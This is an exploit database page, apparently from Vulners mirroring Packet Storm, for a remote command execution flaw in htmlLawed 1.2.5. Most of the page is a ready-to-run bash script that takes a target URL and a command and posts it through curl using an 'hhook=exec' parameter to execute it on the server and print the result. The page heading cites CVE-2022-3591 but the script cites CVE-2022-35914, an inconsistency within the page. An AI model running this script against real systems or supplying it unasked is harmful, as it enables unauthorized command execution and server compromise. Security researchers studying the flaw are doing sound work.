Lucene search
K

htmlLawed 1.2.5 Remote Command Execution

🗓️ 02 May 2024 00:00:00Reported by d4t4s3cType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 838 Views

htmlLawed 1.2.5 Remote Command Execution CVE-2022-3591

Related
Code
`#!/bin/bash  
  
# Exploit Title: htmlLawed <= 1.2.5 - Remote Code Execution  
  
# Date: 2024-05-02  
# Exploit Author: Miguel Redondo (aka d4t4s3c)  
# Vendor Homepage: https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed  
# Software Link: https://github.com/kesar/HTMLawed  
# Version: <= 1.2.5  
# Tested on: Linux  
# Category: Web Application  
# CVE: CVE-2022-35914  
  
while getopts ":u:c:" arg; do  
case ${arg} in  
u) url=${OPTARG}; let parameter_counter+=1 ;;  
c) cmd=${OPTARG}; let parameter_counter+=1 ;;  
esac  
done  
  
if [ -z "${url}" ] || [ -z "${cmd}" ]; then  
echo -e "\n[*] htmlLawed <= 1.2.5 - Remote Code Execution"  
echo -e "\n[-] Usage: CVE-2022-35914.sh -u <url> -c <cmd>\n"  
exit 1  
else  
echo -e "\n[*] htmlLawed <= 1.2.5 - Remote Code Execution"  
echo -e "\n[+] Executing Command: ${cmd}\n"  
cmd_output=$(curl -s -d "sid=foo&hhook=exec&text=${cmd}" -b "sid=foo" ${url} | egrep '\&nbsp; \[[0-9]+\] =\>' | sed -E 's/\&nbsp; \[[0-9]+\] =\> (.*)<br \/>/\1/')  
echo -e "${cmd_output}\n"  
exit 0  
fi  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 May 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 3.19.8
EPSS0.94395
838